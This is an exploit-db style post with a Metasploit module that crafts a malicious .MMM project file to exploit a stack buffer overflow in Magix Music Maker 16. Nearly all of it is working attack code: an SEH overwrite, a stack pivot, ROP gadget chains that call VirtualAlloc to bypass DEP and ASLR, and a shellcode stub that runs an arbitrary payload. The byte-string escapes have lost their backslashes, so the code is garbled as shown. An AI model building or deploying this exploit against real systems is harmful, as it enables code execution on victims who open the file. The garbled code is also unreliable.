---
My version of exploit...
Looks like bug the same as in:
http://www.exploit-db.com/exploits/17313/

My exploit does not use egg-hunter,  so it must be faster, but i have limited size for payload -
750 bytes 8) 
Speed Vs Size...
---
# Title: Magix Musik Maker 16
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: 72455
# Author: Alexey Sintsov
# Published: 2011-05-22
# Verified: 
# Download N/A

##
# $Id: musick_maker16.rb 12364 2011-05-03 07:53:58Z aaa $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT
  

 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Musick Maker 16, Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Musick Maker 16
                When opening a malicious .MMM file in Music Maker, a stack buffer occurs,
                resulting in arbitrary code execution via SEH.
                This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexey Sintsov',     

                ],
            'Version'        => '$Revision: 12364 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
		     'BadChars' => "x00",
                     'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
                        {
			    'Ret'    => 0x20012026, # ADD ESP,4F8 # RETN 4 
			    'Size'   => 750
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'May 02 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.mmm']),

            ], self.class)
    end
    
def exploit
		
	badchars = target['BadChars']
	
 
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    print_status("Preparing payload")
	
	aaa_header="x52x49x46x46xE6x9Dx06x00x53x45x4Bx44x53x56x49x50"+
	           "x10x07x00x00x9Bx5Bx6Ex00x00x00x00x00x11x00x00x00"+
			   "x08x00x00x00x44xACx00x00x11x00x00x00x00x00x00x00"+
			   "x00x00x39x40x00x00xF0x42x00x00x00x00xBDx04xEFxFE"+
			   "x00x00x01x00x00x00x10x00x06x00x00x00x00x00x10x00"+
			   "x06x00x00x00x3Fx00x00x00x28x00x00x00x04x00x04x00"+
			   "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
			   "xF3x8Ex32x01xD0x02x00x00x40x02x00x00x55x55x55x55"+
			   "x55x55xF5x3Fx10x00x00x00x00x00x00x00xFFxFFxFFxFF"+
			   "xFFxFFxFFxFF"

	aaa_list="x4Cx49x53x54x04x25x02x00x70x68x79x73x66x69x6Cx65xF8x08"
	
    rop_pivot =
	[
		0x20012026, # ADD ESP,4F8 # RETN 4 
	].pack("V*")
	
    rop_nop =
	[
		0x1FF727C6, # RETN
	].pack("V*")
	
	rop_jmp =
	[
		0x2001DD16, # ADD ESP, 40 # RETN
	].pack("V*")
	
	rop_gadgets2 =
	[
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN 
		0x1FF727C5,  # POP ECX # RETN				//  ECX = FFFFFFFF
		0xffffffff,
		0x20048546,  # ADC ECX,EBP # RETN           // ECX - saved stack
		0x1FFA82EF,  # POP EAX # RETN
		0x1FFAF154,  #  ----+               	// [EAX+C] will point on VA
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN  	// now [EBP+C] will point on VA
		0x1FFA817E,  # MOV EAX,DWORD PTR SS:[EBP+C] # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C 
		0xAAAAAAAA,
		0xAAAAAAAA,
		0xAAAAAAAA,
		0xAAAAAAAA,
		0x1FFFB8D9,   # XCHG EAX,EBP # RETN
		0xBBBBBBBB,
		0xBBBBBBBB,
		0xBBBBBBBB,
		0x1FF72620,   # MOV EAX,ECX # POP EBX # RETN
		0xAAAAAAAA,
		0x1FFFB8D9,   # XCHG EAX,EBP # RETN      // EBP - saved stack pointer
		0x2004A8C1,   # CALL EAX  # RETN        // call VirtAlloc
		0x31313131,   # // param 1
		0x32323232,   # // param 2
		0x33333333,   # // param 3
		0x34343434,   # // param 4
		0x2001215B,  # PUSH ESP # RETN 4
	].pack("V*")

    rop_gadgets =
        [
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN           		 //	Pointer in EAX
		0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8   		 //	Pointer in ESI an EAX
		0x1FFA82EF,  # POP EAX # RETN 
		0x11111111,  #     ^
		0x22222222,  #     |  
		0xFFFFFc74,  # 	---+	
		0x200263f5,  # NEG EAX  # RETN               		 //	EAX = OFFSET 
		0x1FF74212,  # ADD EAX,ESI # POP ESI # RETN  		 //	pointer in stack on our HEAP
		0x33333333,
		0x1FF939F2,  # MOV EAX,DWORD PTR DS:[EAX+90] # RETN 4// EAX -> POINTER+OFFSET --- here are our params in HEAP
		0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8  		 // EAX and ESI = POINTER+OFFSET --- here are our params in HEAP
		0x44444444,
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN           		 //	EBP = Pointer as param 1
		0x44444444,
		0x55555555,
			
		0x1FF727C5,  # POP ECX # RETN				  		 //  ECX = ffffff10
		0xffffff10,
		0x20048546,  # ADC ECX,EBP # RETN            		//  ECX = Pointer on stack - as param 1
		0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN 		//	EAX=PARAMS POINTER
		0x66666666,
		0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8  		// 	resave in ESI
		0x1FF891C4,  # MOV DWORD PTR DS:[EAX+4],ECX # RETN 	// WRITE PARAM 1 - pointer on stack
		0x77777777, 
		0x88888888,
			
		0x1FFA883A,  # XOR EAX,EAX # RETN 
		0x1FF7519F,  # ADD AL,40 # RETN    // EAX=40
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN            		//	EBP = 40
		0x1FF727C5,  # POP ECX # RETN						//  ECX = ffffffd0
		0xffffffd0,
		0x20048546,  # ADC ECX,EBP # RETN          			//  ECX = 10
		0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN 		//	EAX=PARAMS POINTER
		0x99999999,
		0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8  		// 	resave in ESI
		0x1FF9EAF7,  # MOV DWORD PTR DS:[EAX+8],ECX # RETN 	// WRITE PARAM 2 - size(10)
		0xaaaaaaaa,
		0xbbbbbbbb,
			
		0x1FFA82EF,  # POP EAX # RETN            			// EAX = FFFFEFFF
		0xffffefff,
		0x200263f5,  # NEG EAX  # RETN          			// EAX=1001 (cos 1000 with null bytes) 
		0x1FFA0231,  # DEC EAX # RETN                       // EAX=1000 
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN           		 //	EBP = 1000
		0x1FF727C5,  # POP ECX # RETN						//  ECX = FFFFFFFF
		0xffffffff,
		0x20048546,  # ADC ECX,EBP # RETN         			 //  ECX = 1000 - MEM_COMMIT
		0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN 		//	EAX=PARAMS POINTER
		0xcccccccc,
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF751A0,  # INC EAX # RETN
		0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8 			 // resave in ESI
		0x1FF891C4,  # MOV DWORD PTR DS:[EAX+4],ECX # RETN 	// 	WRITE PARAM 3 - MEM_COMMIT
		0xdddddddd,
		0xdddddddd,
		
		0x1FF727C5,  # POP ECX # RETN						//  ECX = ffffffFF
		0xffffffff,
		0x20033FB9,  # INC ECX # ADD AL,3 # RETN 			// 	ECX=0
		0x1FFA883A,  # XOR EAX,EAX # RETN 
		0x1FF7519F,  # ADD AL,40 # RETN   					 // EAX=40
		0x1FFFB8D9,  # XCHG EAX,EBP # RETN           		 //	EBP = 40
		0x20048546,  # ADC ECX,EBP # RETN          			//  ECX = 40
		0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN 		//	EAX=PARAMS POINTER
		0xeeeeeeee,
		0x1FF9EAF7,  # MOV DWORD PTR DS:[EAX+8],ECX # RETN 	//	 WRITE PARAM 4 - WRITE_EXECUTE
		0x1FF727C5,  # POP ECX # RETN 
		0xFFFFFFAC,  # -84 -^
		0x1FF75190,  # ADD EAX,ECX # RETN  EAX=EAX-84
		0x2004387F,  # XCHG EAX,ESP # RETN  // New stack pointer in HEAP-------->rop_gadgets2
			
	].pack("V*")
	
	#Jump to shellcode
	shell_jmp="x87xe5"+ 	# XCHG ESP, EBP <---- take back stack pointer
	"x33xc0"+ 			# XOR EAX, EAX
	"x04x40"+ 		  	# ADD AL, 40
	"x50"+					# PUSH EAX
	"x33xc0"+ 			# XOR EAX, EAX		
	"xb4x10"+             # MOV AH, 10
	"x50"+					# PUSH EAX
	"x8bxc5"+				# MOV EAX, EBP
	"x33xc9"+				# XOR ECX,ECX
	"xb5x05"+				# MOV CH, 5
	"xb1xee"+				# MOV CL, EE
	"x2bxc1"+				# SUB EAX, ECX <--- block with shellcode
	"x51"+					# PUSH ECX
	"x50"+					# PUSH EAX
	"x8bxf8"+				# MOV EDI, EAX
	"xb9x60xf1xfax1f"+ # MOV ECX, 1FFAF160
	"xffx11"+				# CALL [ECX] -> call kenrnel32.VirtualAlloc(shellcode,0x826,MEM_COMMIT,READWRITE_EXECUTE)
	"xffxe7"  			# JMP EDI -> JMP shellcode

	pivot = [target.ret].pack('V')
       
	shellcode=payload.encoded
       
    nops = make_nops(8)
	
	aaa_data = aaa_header
	aaa_data << "x00"*1680
	aaa_data << aaa_list
	aaa_data << "x00"*25
	
	#### This will be in heap, not in the stack
	aaa_data << "C:\aaa\"
	aaa_data << shellcode # 7. Shellcode run
	aaa_data << "a"*(target['Size']-shellcode.length)  
	
	aaa_data << "a"*328
	
	aaa_data << "x00"*16
	
	
	aaa_data << "x"*320
	aaa_data << rop_gadgets2 # 4. call VirtualAlloc, jmp to ESP (5.)
	aaa_data << shell_jmp    # 5. call VA again and JMP to shellcode (6.) 
	aaa_data << "a"*61
	
	#### And this will be in stack!
	aaa_data << rop_jmp*32   # 2. After satck pivot, jump to (3.)
	aaa_data << "a"*16
	aaa_data << [target.ret].pack('V')   # 1. SEH rewrite -> ADD ESP, xxx and we are in (2.) 
	aaa_data << rop_nop*10  # 3. ROP-NOP
	aaa_data << rop_gadgets # 4. ROP programm, calc in HEAP and make new stack  (4.)
	aaa_data << "a"*31337    # truncated
 
        print_status("Writing payload to file, " + aaa_data.length.to_s()+" bytes")
 
	if shellcode.length>target['Size']
		print_status("ERROR, too big payload!")
	else
	    file_create(aaa_data)
	end
    end
end